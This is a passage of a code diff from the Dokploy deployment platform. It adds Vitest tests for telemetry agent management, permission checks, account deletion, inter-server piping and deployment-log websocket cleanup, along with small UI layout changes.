.mockRejectedValueOnce(notFound());
await removeVectorAgent();
expect(mocks.removeService).toHaveBeenCalledTimes(2);
expect(commandsOf(mocks.execAsync)).toEqual([
"rm -rf /local/dokploy/vector",
]);
});
it("refuses a server without an SSH key before touching cAdvisor or Vector", async () => {
mocks.findServerById.mockResolvedValue({
serverId: "server-1",
sshKeyId: null,
});
await expect(removeVectorAgent("server-1")).rejects.toThrow(/SSH key/);
expect(mocks.getService).not.toHaveBeenCalled();
expect(mocks.execAsyncRemote).not.toHaveBeenCalled();
});
});
@@ -0,0 +1,214 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
listTasks: vi.fn(),
inspectService: vi.fn(),
findServersByOrganizationForVectorAgent: vi.fn(),
getAccessibleServerIds: vi.fn(),
getWebServerSettings: vi.fn(),
findTelemetryProvidersByOrganization: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({ db: {} }));
vi.mock("@dokploy/server/constants", () => ({
IS_CLOUD: false,
paths: () => ({ VECTOR_PATH: "/etc/dokploy/vector" }),
}));
vi.mock("@dokploy/server/services/server", () => ({
findServerById: vi.fn(),
findServersByOrganizationForVectorAgent:
mocks.findServersByOrganizationForVectorAgent,
getAccessibleServerIds: mocks.getAccessibleServerIds,
}));
vi.mock("@dokploy/server/services/web-server-settings", () => ({
getWebServerSettings: mocks.getWebServerSettings,
}));
vi.mock(
"@dokploy/server/services/logs-and-metrics/service",
async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/services/logs-and-metrics/service")
>()),
findTelemetryProvidersByOrganization:
mocks.findTelemetryProvidersByOrganization,
}),
);
vi.mock("@dokploy/server/utils/servers/remote-docker", () => ({
getRemoteDocker: async () => ({
listTasks: mocks.listTasks,
getService: () => ({ inspect: mocks.inspectService }),
}),
}));
const { getVectorAgentTargets, withVectorTargetLock } = await import(
"@dokploy/server/setup/vector-setup"
);
const session = { userId: "user-1", activeOrganizationId: "org-1" };
describe("getVectorAgentTargets", () => {
beforeEach(() => {
for (const mock of Object.values(mocks)) mock.mockReset();
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([]);
mocks.inspectService.mockResolvedValue({});
mocks.getAccessibleServerIds.mockResolvedValue(new Set());
mocks.findTelemetryProvidersByOrganization.mockResolvedValue([
{ telemetryProviderId: "lp-1", enabled: true, signals: ["logs"] },
{ telemetryProviderId: "mp-1", enabled: true, signals: ["metrics"] },
{ telemetryProviderId: "mp-off", enabled: false, signals: ["metrics"] },
]);
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["lp-1"],
});
});
it("requires a running cAdvisor task when the target ships metrics", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["mp-1"],
});
mocks.listTasks.mockImplementation(
async ({ filters }: { filters: string }) =>
JSON.parse(filters).service[0] === "dokploy-vector"
? [{ Status: { State: "running" } }]
: [],
);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("not-running");
expect(mocks.listTasks).toHaveBeenCalledTimes(2);
});
it("reports running when both Vector and cAdvisor have a running task", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["mp-1"],
});
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
});
it("does not look at cAdvisor for a logs-only target", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
await getVectorAgentTargets(session);
expect(mocks.listTasks).toHaveBeenCalledTimes(1);
});
it("does not look at cAdvisor when the only metrics provider is disabled", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: "org-1",
telemetryProviderIds: ["lp-1", "mp-off"],
});
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
expect(mocks.listTasks).toHaveBeenCalledTimes(1);
});
it("reports running only when a task of the service is running", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "running" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("running");
expect(mocks.listTasks).toHaveBeenCalledWith({
filters: JSON.stringify({
service: ["dokploy-vector"],
"desired-state": ["running"],
}),
});
});
it("reports not-running when the service has no running task", async () => {
mocks.listTasks.mockResolvedValue([{ Status: { State: "pending" } }]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("not-running");
});
it("reports stopped when the service does not exist", async () => {
mocks.inspectService.mockRejectedValue(
Object.assign(new Error("not found"), { statusCode: 404 }),
);
mocks.listTasks.mockResolvedValue([]);
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("stopped");
expect(mocks.listTasks).not.toHaveBeenCalled();
});
it("reports unknown on any other docker error", async () => {
mocks.inspectService.mockRejectedValue(new Error("connect ECONNREFUSED"));
const [local] = await getVectorAgentTargets(session);
expect(local?.status).toBe("unknown");
});
it("reports an empty selection for an unowned local host, even with ids left by a deleted organization", async () => {
mocks.getWebServerSettings.mockResolvedValue({
vectorAgentOrganizationId: null,
telemetryProviderIds: ["lp-from-deleted-org", "mp-from-deleted-org"],
});
mocks.listTasks.mockResolvedValue([]);
const [local] = await getVectorAgentTargets(session);
expect(local).toMatchObject({
serverId: null,
telemetryProviderIds: [],
});
});
it("hides servers the member cannot access", async () => {
mocks.listTasks.mockResolvedValue([]);
mocks.findServersByOrganizationForVectorAgent.mockResolvedValue([
{
serverId: "server-1",
name: "one",
ipAddress: "1.1.1.1",
telemetryProviderIds: [],
},
{
serverId: "server-2",
name: "two",
ipAddress: "2.2.2.2",
telemetryProviderIds: [],
},
]);
mocks.getAccessibleServerIds.mockResolvedValue(new Set(["server-2"]));
const targets = await getVectorAgentTargets(session);
expect(targets.map((t) => t.serverId)).toEqual([null, "server-2"]);
});
});
describe("withVectorTargetLock", () => {
it("runs operations on the same target one after another", async () => {
const events: string[] = [];
let releaseFirst = () => {};
const first = withVectorTargetLock("server-1", async () => {
events.push("first:start");
await new Promise<void>((resolve) => {
releaseFirst = resolve;
});
events.push("first:end");
throw new Error("first failed");
});
const second = withVectorTargetLock("server-1", async () => {
events.push("second");
});
const other = withVectorTargetLock("server-2", async () => {
events.push("other");
});
await other;
expect(events).toEqual(["first:start", "other"]);
releaseFirst();
await expect(first).rejects.toThrow("first failed");
await second;
expect(events).toEqual(["first:start", "other", "first:end", "second"]);
});
});
@@ -0,0 +1,197 @@
import { execFileSync } from "node:child_process";
import { mkdtempSync, writeFileSync } from "node:fs";
import os from "node:os";
import path from "node:path";
import {
buildVectorConfigYaml,
VECTOR_IMAGE,
} from "@dokploy/server/setup/vector-setup";
import { describe, expect, it } from "vitest";
const dockerAvailable = (() => {
try {
execFileSync("docker", ["info"], { stdio: "ignore", timeout: 10_000 });
return true;
} catch {
return false;
}
})();
const provider = (overrides: Record<string, unknown>) =>
({
apiKey: null,
apiSecret: null,
endpoint: null,
extraConfig: null,
enabled: true,
...overrides,
}) as any;
const logsOnly = [
provider({
telemetryProviderId: "loki1",
name: "loki",
providerType: "loki",
signals: ["logs"],
endpoint: "http://loki.example.com:3100",
apiKey: "Pa$5w0rd$HOME",
extraConfig: { username: "12345" },
}),
];
const metricsOnly = [
provider({
telemetryProviderId: "prom1",
name: "prom",
providerType: "prometheus_remote_write",
signals: ["metrics"],
endpoint: "http://prom.example.com:9090/api/v1/write",
apiKey: "token",
extraConfig: { tenantId: "team-a" },
}),
provider({
telemetryProviderId: "nr1",
name: "new relic",
providerType: "new_relic",
signals: ["metrics"],
apiKey: "license",
extraConfig: { accountId: "123", region: "eu" },
}),
provider({
telemetryProviderId: "influx1",
name: "influx",
providerType: "influxdb",
signals: ["metrics"],
endpoint: "http://influx.example.com:8086",
apiKey: "token",
extraConfig: { org: "dokploy", bucket: "metrics" },
}),
];
const both = [
provider({
telemetryProviderId: "dd1",
name: "datadog",
providerType: "datadog",
signals: ["logs", "metrics"],
apiKey: "dd-key",
}),
provider({
telemetryProviderId: "cw1",
name: "cloudwatch",
providerType: "aws_cloudwatch",
signals: ["logs", "metrics"],
apiKey: "AKIAFAKE",
apiSecret: "secret",
extraConfig: {
region: "us-east-1",
logGroup: "/dokploy/logs",
metricsNamespace: "Dokploy",
},
}),
provider({
telemetryProviderId: "splunk1",
name: "splunk",
providerType: "splunk_hec",
signals: ["logs", "metrics"],
endpoint: "https://splunk.example.com:8088",
apiKey: "hec",
extraConfig: { index: "main", metricsIndex: "dokploy_metrics" },
}),
provider({
telemetryProviderId: "es1",
name: "elastic",
providerType: "elasticsearch",
signals: ["logs", "metrics"],
endpoint: "http://es.example.com:9200",
apiKey: "pw",
extraConfig: { username: "elastic" },
}),
provider({
telemetryProviderId: "bs1",
name: "better stack",
providerType: "betterstack",
signals: ["logs", "metrics"],
endpoint: "in.logs.betterstack.com",
apiKey: "token",
}),
];
const cases: Array<[string, Parameters<typeof buildVectorConfigYaml>[0]]> = [
[
"local logs only",
{
logProviders: logsOnly,
metricsProviders: [],
organizationId: "org_a",
serverName: "Dokploy Server (local)",
},
],
[
"local metrics only",
{
logProviders: [],
metricsProviders: metricsOnly,
organizationId: "org_a",
serverName: "Dokploy Server (local)",
},
],
[
"local every provider on both signals",
{
logProviders: [...logsOnly, ...both],
metricsProviders: [...metricsOnly, ...both],
organizationId: "org_a",
serverName: 'Dokploy "Server" $HOSTNAME (local)',
},
],
[
"remote metrics only",
{ logProviders: [], metricsProviders: metricsOnly, serverName: "edge-1" },
],
[
"remote every provider on both signals",
{
logProviders: [...logsOnly, ...both],
metricsProviders: [...metricsOnly, ...both],
serverName: "edge-1",
},
],
];
describe.skipIf(!dockerAvailable)(
"vector validate on generated configs",
() => {
const dir = mkdtempSync(path.join(os.tmpdir(), "vector-validate-"));
it.each(cases)(
"%s",
(name, input) => {
const file = path.join(dir, `${name.replace(/\W+/g, "-")}.yaml`);
writeFileSync(file, buildVectorConfigYaml(input));
const output = execFileSync(
"docker",
[
"run",
"--rm",
"-v",
"/var/run/docker.sock:/var/run/docker.sock:ro",
"-v",
`${file}:/etc/vector/vector.yaml:ro`,
VECTOR_IMAGE,
"validate",
"--skip-healthchecks",
"/etc/vector/vector.yaml",
],
{
encoding: "utf8",
stdio: ["ignore", "pipe", "pipe"],
timeout: 120_000,
},
);
expect(output).toContain("Validated");
},
150_000,
);
},
);
@@ -0,0 +1,86 @@
import type { SQL } from "drizzle-orm";
import { PgDialect } from "drizzle-orm/pg-core";
import { beforeEach, describe, expect, it, vi } from "vitest";
const mocks = vi.hoisted(() => ({
findFirst: vi.fn(),
updates: [] as Array<{ values: Record<string, unknown>; where: unknown }>,
returning: vi.fn(),
}));
vi.mock("@dokploy/server/db", () => ({
db: {
query: { webServerSettings: { findFirst: mocks.findFirst } },
update: () => ({
set: (values: Record<string, unknown>) => ({
where: (where: unknown) => {
mocks.updates.push({ values, where });
return { returning: () => Promise.resolve(mocks.returning()) };
},
}),
}),
},
}));
const { releaseWebServerAgent, setWebServerProviderIds } = await import(
"@dokploy/server/services/web-server-settings"
);
const render = (value: unknown) => new PgDialect().sqlToQuery(value as SQL).sql;
beforeEach(() => {
mocks.updates = [];
mocks.findFirst.mockResolvedValue({
id: "ws-1",
vectorAgentOrganizationId: "org-a",
});
mocks.returning.mockReturnValue([{ id: "ws-1" }]);
});
describe("setWebServerProviderIds", () => {
it("claims the local agent for the organization when assigning providers", async () => {
const row = await setWebServerProviderIds("org-a", ["lp-1", "mp-1"]);
expect(row).toEqual({ id: "ws-1" });
const update = mocks.updates[0];
expect(update?.values).toMatchObject({
telemetryProviderIds: ["lp-1", "mp-1"],
vectorAgentOrganizationId: "org-a",
});
expect(render(update?.where)).toBe(
'("webServerSettings"."id" = $1 and ("webServerSettings"."vectorAgentOrganizationId" is null or "webServerSettings"."vectorAgentOrganizationId" = $2))',
);
});
it("releases the owner when the selection is cleared", async () => {
await setWebServerProviderIds("org-a", []);
expect(mocks.updates[0]?.values).toMatchObject({
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
});
});
it("returns null when another organization owns the local agent", async () => {
mocks.returning.mockReturnValue([]);
await expect(
setWebServerProviderIds("org-b", ["lp-9"]),
).resolves.toBeNull();
});
});
describe("releaseWebServerAgent", () => {
it("clears the selection and the owner only for the owning organization", async () => {
await releaseWebServerAgent("org-a");
const update = mocks.updates[0];
expect(update?.values).toMatchObject({
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
});
expect(render(update?.where)).toBe(
'"webServerSettings"."vectorAgentOrganizationId" = $1',
);
});
});
@@ -0,0 +1,104 @@
import {
getHostSystemStats,
isPhysicalDisk,
} from "@dokploy/server/monitoring/utils";
import { describe, expect, it, vi } from "vitest";
const GiB = 1024 ** 3;
const diskStat = (device: string, readGiB: number, writeGiB: number) => ({
device,
readBytes: { toBytes: () => readGiB * GiB },
writeBytes: { toBytes: () => writeGiB * GiB },
});
vi.mock("node-os-utils", () => ({
OSUtils: class {
cpu = { usage: async () => ({ success: false }) };
memory = { info: async () => ({ success: false }) };
network = { overview: async () => ({ success: false }) };
disk = {
stats: async () => ({
success: true,
data: [
diskStat("nvme0n1", 50, 100),
diskStat("nvme0n1p1", 50, 100),
diskStat("nvme1n1", 50, 100),
diskStat("nvme1n1p1", 50, 100),
diskStat("md0", 50, 100),
diskStat("md0p1", 50, 100),
diskStat("dm-0", 50, 100),
diskStat("zram0", 10, 20),
],
}),
};
},
}));
describe("isPhysicalDisk (#5513, #5385)", () => {
it.each([
"sda",
"sdab",
"hda",
"vda",
"xvda",
"nvme0n1",
"nvme1n1",
"mmcblk0",
])("counts whole disk %s", (device) => {
expect(isPhysicalDisk(device)).toBe(true);
});
it.each([
"sda1",
"sdab12",
"hda1",
"vda1",
"xvda1",
"nvme0n1p1",
"nvme1n1p4",
"mmcblk0p1",
])("skips partition %s", (device) => {
expect(isPhysicalDisk(device)).toBe(false);
});
it.each(["md0", "md127", "md0p1", "md_d0p1", "dm-0", "dm-12"])(
"skips stacked device %s",
(device) => {
expect(isPhysicalDisk(device)).toBe(false);
},
);
it.each(["loop0", "ram0", "zram0", "sr0", "fd0"])(
"skips virtual device %s",
(device) => {
expect(isPhysicalDisk(device)).toBe(false);
},
);
it("counts each write once on an mdadm RAID1 host", () => {
const devices = [
"nvme0n1",
"nvme0n1p1",
"nvme0n1p2",
"nvme0n1p3",
"nvme0n1p4",
"nvme1n1",
"nvme1n1p1",
"nvme1n1p2",
"nvme1n1p3",
"nvme1n1p4",
"md0",
"md1",
"md2",
"md3",
];
expect(devices.filter(isPhysicalDisk)).toEqual(["nvme0n1", "nvme1n1"]);
});
});
describe("getHostSystemStats Block I/O (#5513, #5385)", () => {
it("sums only whole physical disks", async () => {
const stats = await getHostSystemStats();
expect(stats.BlockIO).toBe("100.00GiB / 200.00GiB");
});
});
@@ -73,6 +73,20 @@ describe("owner and admin bypass enterprise resources", () => {
).resolves.toBeUndefined();
});
it("owner bypasses telemetryProvider.read", async () => {
memberToReturn = mockMemberData("owner");
await expect(
checkPermission(ctx, { telemetryProvider: ["read"] }),
).resolves.toBeUndefined();
});
it("admin bypasses telemetryProvider.create", async () => {
memberToReturn = mockMemberData("admin");
await expect(
checkPermission(ctx, { telemetryProvider: ["create"] }),
).resolves.toBeUndefined();
});
it("owner bypasses multiple enterprise permissions at once", async () => {
memberToReturn = mockMemberData("owner");
await expect(
@@ -139,6 +153,20 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati
checkPermission(ctx, { registry: ["create"] }),
).rejects.toThrow();
});
it("member is denied telemetryProvider.read", async () => {
memberToReturn = mockMemberData("member");
await expect(
checkPermission(ctx, { telemetryProvider: ["read"] }),
).rejects.toThrow();
});
it("member is denied telemetryProvider.create", async () => {
memberToReturn = mockMemberData("member");
await expect(
checkPermission(ctx, { telemetryProvider: ["create"] }),
).rejects.toThrow();
});
});
describe("static roles validate free-tier resources", () => {
@@ -18,6 +18,7 @@ const FREE_TIER_RESOURCES = [
"gitProviders",
"traefikFiles",
"api",
"telemetryProvider",
];
const ENTERPRISE_RESOURCES = [
@@ -111,6 +111,7 @@ describe("enterprise resources for static roles", () => {
expect(perms.destination.read).toBe(false);
expect(perms.notification.read).toBe(false);
expect(perms.auditLog.read).toBe(false);
expect(perms.telemetryProvider.read).toBe(false);
});
});
@@ -25,6 +25,8 @@ const baseSettings: WebServerSettings = {
letsEncryptEmail: null,
sshPrivateKey: null,
enableDockerCleanup: false,
telemetryProviderIds: [],
vectorAgentOrganizationId: null,
buildsConcurrency: 1,
logCleanupCron: null,
metricsConfig: {
@@ -62,6 +64,10 @@ const baseSettings: WebServerSettings = {
errorPageDescription: null,
ogImageUrl: null,
footerText: null,
logoLightUrl: null,
loginLogoLightUrl: null,
faviconLightUrl: null,
dualModeBranding: false,
},
cleanupCacheApplications: false,
cleanupCacheOnCompose: false,
@@ -0,0 +1,182 @@
import {
checkDeletionCode,
generateDeletionCode,
serializeDeletionCode,
} from "@dokploy/server/services/account-deletion";
import { deleteHubSpotContactByEmail } from "@dokploy/server/utils/tracking/hubspot";
import Stripe from "stripe";
import { afterEach, describe, expect, test, vi } from "vitest";
import { cancelStripeSubscriptions } from "@/server/utils/billing";
const makeStripe = (
subscriptions: Array<{ id: string; status: string }>,
listError?: Error,
) => {
const stripe = {
subscriptions: {
list: vi.fn(() =>
listError
? Promise.reject(listError)
: Promise.resolve({ data: subscriptions }),
),
cancel: vi.fn(() => Promise.resolve({})),
},
};
return stripe as unknown as Stripe & typeof stripe;
};
describe("cancelStripeSubscriptions", () => {
test("cancels every non-terminal subscription without invoicing", async () => {
const stripe = makeStripe([
{ id: "sub_active", status: "active" },
{ id: "sub_trial", status: "trialing" },
{ id: "sub_past_due", status: "past_due" },
{ id: "sub_canceled", status: "canceled" },
{ id: "sub_expired", status: "incomplete_expired" },
]);
const result = await cancelStripeSubscriptions("cus_1", stripe);
expect(stripe.subscriptions.list).toHaveBeenCalledWith({
customer: "cus_1",
status: "all",
limit: 100,
});
expect(stripe.subscriptions.cancel).toHaveBeenCalledTimes(3);
expect(stripe.subscriptions.cancel).toHaveBeenCalledWith("sub_active", {
invoice_now: false,
prorate: false,
});
expect(result).toEqual({
cancelledSubscriptions: ["sub_active", "sub_trial", "sub_past_due"],
});
});
test("treats a missing customer as having nothing to cancel", async () => {
const missing = new Stripe.errors.StripeInvalidRequestError({
type: "invalid_request_error",
code: "resource_missing",
message: "No such customer",
});
const stripe = makeStripe([], missing);
const result = await cancelStripeSubscriptions("cus_missing", stripe);
expect(stripe.subscriptions.cancel).not.toHaveBeenCalled();
expect(result).toEqual({ cancelledSubscriptions: [] });
});
test("propagates unexpected Stripe errors", async () => {
const failure = new Stripe.errors.StripeAPIError({
type: "api_error",
message: "boom",
});
const stripe = makeStripe([], failure);
await expect(cancelStripeSubscriptions("cus_1", stripe)).rejects.toBe(
failure,
);
});
});
describe("deleteHubSpotContactByEmail", () => {
afterEach(() => {
vi.unstubAllGlobals();
});
test("is skipped when no access token is configured", async () => {
const fetchMock = vi.fn();
vi.stubGlobal("fetch", fetchMock);
expect(await deleteHubSpotContactByEmail("a@b.com", undefined)).toBe(
"skipped",
);
expect(fetchMock).not.toHaveBeenCalled();
});
test("calls the GDPR delete endpoint with the email as id", async () => {
const fetchMock = vi.fn(() =>
Promise.resolve(new Response(null, { status: 204 })),
);
vi.stubGlobal("fetch", fetchMock);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"deleted",
);
const [url, init] = fetchMock.mock.calls[0] as unknown as [
string,
RequestInit,
];
expect(url).toBe(
"https://api.hubapi.com/crm/v3/objects/contacts/gdpr-delete",
);
expect(init.method).toBe("POST");
expect((init.headers as Record<string, string>).Authorization).toBe(
"Bearer token",
);
expect(JSON.parse(init.body as string)).toEqual({
idProperty: "email",
objectId: "a@b.com",
});
});
test("maps 404 to not_found and other errors to failed", async () => {
vi.stubGlobal(
"fetch",
vi.fn(() => Promise.resolve(new Response(null, { status: 404 }))),
);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"not_found",
);
vi.stubGlobal(
"fetch",
vi.fn(() => Promise.resolve(new Response("nope", { status: 500 }))),
);
expect(await deleteHubSpotContactByEmail("a@b.com", "token")).toBe(
"failed",
);
});
});
describe("account deletion codes", () => {
test("generates six-digit numeric codes", () => {
for (let i = 0; i < 50; i++) {
expect(generateDeletionCode()).toMatch(/^\d{6}$/);
}
});
test("accepts the right code, ignoring surrounding whitespace", () => {
const value = serializeDeletionCode("482913");
expect(checkDeletionCode(value, "482913")).toEqual({
valid: true,
attempts: 0,
});
expect(checkDeletionCode(value, " 482913 ").valid).toBe(true);
});
test("counts failed attempts without revealing the hash", () => {
const value = serializeDeletionCode("482913");
const first = checkDeletionCode(value, "000000");
expect(first.valid).toBe(false);
if (first.valid) throw new Error("unreachable");
expect(first.attempts).toBe(1);
expect(JSON.parse(first.nextValue)).toEqual({
...JSON.parse(value),
attempts: 1,
});
const second = checkDeletionCode(first.nextValue, "999999");
expect(second.valid).toBe(false);
if (second.valid) throw new Error("unreachable");
expect(second.attempts).toBe(2);
expect(checkDeletionCode(second.nextValue, "482913")).toEqual({
valid: true,
attempts: 2,
});
expect(value).not.toContain("482913");
});
});
@@ -0,0 +1,60 @@
import { promises as fs } from "node:fs";
import os from "node:os";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/services/server", () => ({
findServerById: vi.fn(),
}));
import { pipeBetweenServers } from "@dokploy/server/utils/process/remoteStream";
describe("pipeBetweenServers", () => {
it("delivers a short source stream that ends before the target is ready", async () => {
const bytes = await pipeBetweenServers({
source: { serverId: null, command: "printf 'hello world'" },
target: { serverId: null, command: "sleep 0.3; cat > /dev/null" },
});
expect(bytes).toBe(11);
});
it("pipes data larger than the pipe buffer unchanged", async () => {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), "pipe-"));
const source = path.join(dir, "src.bin");
const target = path.join(dir, "dst.bin");
const size = 1024 * 1024;
const progress: number[] = [];
const bytes = await pipeBetweenServers({
source: {
serverId: null,
command: `head -c ${size} /dev/urandom | tee '${source}'`,
},
target: { serverId: null, command: `cat > '${target}'` },
onProgress: (transferred) => progress.push(transferred),
});
expect(bytes).toBe(size);
expect(progress.at(-1)).toBe(size);
expect(await fs.readFile(target)).toEqual(await fs.readFile(source));
await fs.rm(dir, { recursive: true, force: true });
}, 30_000);
it("reports a target failure with its stderr", async () => {
await expect(
pipeBetweenServers({
source: { serverId: null, command: "printf x" },
target: { serverId: null, command: "echo boom >&2; exit 3" },
}),
).rejects.toThrow("target exited with code 3: boom");
});
it("reports a source failure", async () => {
await expect(
pipeBetweenServers({
source: { serverId: null, command: "exit 2" },
target: { serverId: null, command: "cat > /dev/null" },
}),
).rejects.toThrow("source exited with code 2");
});
});
@@ -0,0 +1,169 @@
import { EventEmitter } from "node:events";
import http from "node:http";
import type { AddressInfo } from "node:net";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import WebSocket from "ws";
class FakeChild extends EventEmitter {
stdout = new EventEmitter();
stderr = new EventEmitter();
killed = false;
exitCode: number | null = null;
signalCode: NodeJS.Signals | null = null;
signals: string[] = [];
// Mirrors ChildProcess: `killed` flips as soon as a signal is delivered,
// even if the process ignores it and keeps running.
ignoreSigterm = false;
kill(signal: NodeJS.Signals = "SIGTERM") {
this.signals.push(signal);
this.killed = true;
if (signal === "SIGTERM" && this.ignoreSigterm) return true;
this.signalCode = signal;
this.emit("close", null, signal);
return true;
}
}
const children = vi.hoisted(() => [] as FakeChild[]);
const nextChild = vi.hoisted(() => ({ ignoreSigterm: false }));
vi.mock("node:child_process", async (importOriginal) => ({
...(await importOriginal<typeof import("node:child_process")>()),
spawn: vi.fn(() => {
const child = new FakeChild();
child.ignoreSigterm = nextChild.ignoreSigterm;
children.push(child);
return child;
}),
}));
const sshClients = vi.hoisted(
() => [] as { connect: ReturnType<typeof vi.fn> }[],
);
vi.mock("ssh2", () => ({
Client: vi.fn(function (this: Record<string, unknown>) {
this.on = vi.fn(() => this);
this.connect = vi.fn(() => this);
this.end = vi.fn();
sshClients.push(this as never);
}),
}));
const mockValidateRequest = vi.hoisted(() => vi.fn());
const mockFindServerById = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
validateRequest: mockValidateRequest,
findServerById: mockFindServerById,
}));
vi.mock("@dokploy/server/wss/utils", () => ({
readValidDirectory: () => true,
}));
import { setupDeploymentLogsWebSocketServer } from "@/server/wss/listen-deployment";
const AUTH = {
user: { id: "user-1" },
session: { activeOrganizationId: "org-1" },
};
const deferred = <T>() => {
let resolve!: (value: T) => void;
const promise = new Promise<T>((r) => {
resolve = r;
});
return { promise, resolve };
};
const flush = () => new Promise((r) => setTimeout(r, 50));
let server: http.Server;
let url: string;
beforeEach(async () => {
children.length = 0;
sshClients.length = 0;
nextChild.ignoreSigterm = false;
vi.clearAllMocks();
server = http.createServer();
setupDeploymentLogsWebSocketServer(server);
await new Promise<void>((r) => server.listen(0, "127.0.0.1", r));
const { port } = server.address() as AddressInfo;
url = `ws://127.0.0.1:${port}/listen-deployment?logPath=/etc/dokploy/logs/app/deploy.log`;
});
afterEach(async () => {
vi.useRealTimers();
await new Promise((r) => server.close(r));
});
const connect = async (query = "") => {
const ws = new WebSocket(`${url}${query}`);
await new Promise((r) => ws.once("open", r));
return ws;
};
const closeClient = async (ws: WebSocket) => {
ws.close();
await new Promise((r) => ws.once("close", r));
await flush();
};
describe("deployment logs websocket (#5518)", () => {
it("kills tail when the client disconnects", async () => {
mockValidateRequest.mockResolvedValue(AUTH);
const ws = await connect();
await flush();
expect(children).toHaveLength(1);
await closeClient(ws);
expect(children[0]!.signals).toContain("SIGTERM");
});
it("does not spawn tail when the client disconnects during auth", async () => {
const auth = deferred<typeof AUTH>();
mockValidateRequest.mockReturnValue(auth.promise);
const ws = await connect();
await closeClient(ws);
auth.resolve(AUTH);
await flush();
const leaked = children.filter(
(c) => c.exitCode === null && c.signalCode === null,
);
expect(leaked).toHaveLength(0);
});
it("does not open an SSH session when the client disconnects while loading the server", async () => {
mockValidateRequest.mockResolvedValue(AUTH);
const serverLookup = deferred<unknown>();
mockFindServerById.mockReturnValue(serverLookup.promise);
const ws = await connect("&serverId=srv-1");
await closeClient(ws);
serverLookup.resolve({
organizationId: "org-1",
sshKeyId: "key-1",
sshKey: { privateKey: "key" },
ipAddress: "10.0.0.1",
port: 22,
username: "root",
});
await flush();
const connected = sshClients.filter((c) => c.connect.mock.calls.length > 0);
expect(connected).toHaveLength(0);
});
it("force-kills tail with SIGKILL when SIGTERM does not stop it", async () => {
nextChild.ignoreSigterm = true;
mockValidateRequest.mockResolvedValue(AUTH);
const ws = await connect();
await flush();
await closeClient(ws);
await new Promise((r) => setTimeout(r, 1100));
expect(children[0]!.signals).toEqual(["SIGTERM", "SIGKILL"]);
});
});
@@ -84,9 +84,9 @@ export const ShowPatches = ({ id, type }: Props) => {
return (
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between">
<div>
<CardTitle>Patches</CardTitle>
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Patches</CardTitle>
<CardDescription>
Apply code patches to your repository during build. Patches are
applied after cloning the repository and before building.
@@ -77,23 +77,19 @@ export const ShowSchedules = ({ id, scheduleType = "application" }: Props) => {
};
return (
<Card className=" px-6 shadow-none bg-transparent h-full min-h-[50vh]">
<CardHeader className="px-0">
<div className="flex justify-between items-center gap-y-2 flex-wrap">
<div className="flex flex-col gap-2">
<CardTitle className="text-xl font-bold flex items-center gap-2">
Scheduled Tasks
</CardTitle>
<CardDescription>
Schedule tasks to run automatically at specified intervals.
</CardDescription>
</div>
{schedules && schedules.length > 0 && (
<HandleSchedules id={id} scheduleType={scheduleType} />
)}
<Card className="bg-background h-full min-h-[50vh]">
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Scheduled Tasks</CardTitle>
<CardDescription>
Schedule tasks to run automatically at specified intervals.
</CardDescription>
</div>
{schedules && schedules.length > 0 && (
<HandleSchedules id={id} scheduleType={scheduleType} />
)}
</CardHeader>
<CardContent className="px-0">
<CardContent>
{isLoadingSchedules ? (
<div className="flex gap-4 w-full items-center justify-center text-center mx-auto min-h-[45vh]">
<Loader2 className="size-4 text-muted-foreground/70 transition-colors animate-spin self-center" />
@@ -77,35 +77,26 @@ export const ShowVolumeBackups = ({
};
return (
<Card className=" px-6 shadow-none bg-transparent h-full min-h-[50vh]">
<CardHeader className="px-0">
<div className="flex justify-between items-center flex-wrap gap-2">
<div className="flex flex-col gap-2">
<CardTitle className="text-xl font-bold flex items-center gap-2">
Volume Backups
</CardTitle>
<CardDescription>
Schedule volume backups to run automatically at specified
intervals
</CardDescription>
</div>
<div className="flex items-center gap-2 flex-wrap">
{volumeBackups && volumeBackups.length > 0 && (
<>
<HandleVolumeBackups id={id} volumeBackupType={type} />
<div className="flex items-center gap-2">
<RestoreVolumeBackups
id={id}
type={type}
serverId={serverId}
/>
</div>
</>
)}
</div>
<Card className="bg-background h-full min-h-[50vh]">
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Volume Backups</CardTitle>
<CardDescription>
Schedule volume backups to run automatically at specified intervals
</CardDescription>
</div>
<div className="flex items-center gap-2 flex-wrap">
{volumeBackups && volumeBackups.length > 0 && (
<>
<HandleVolumeBackups id={id} volumeBackupType={type} />
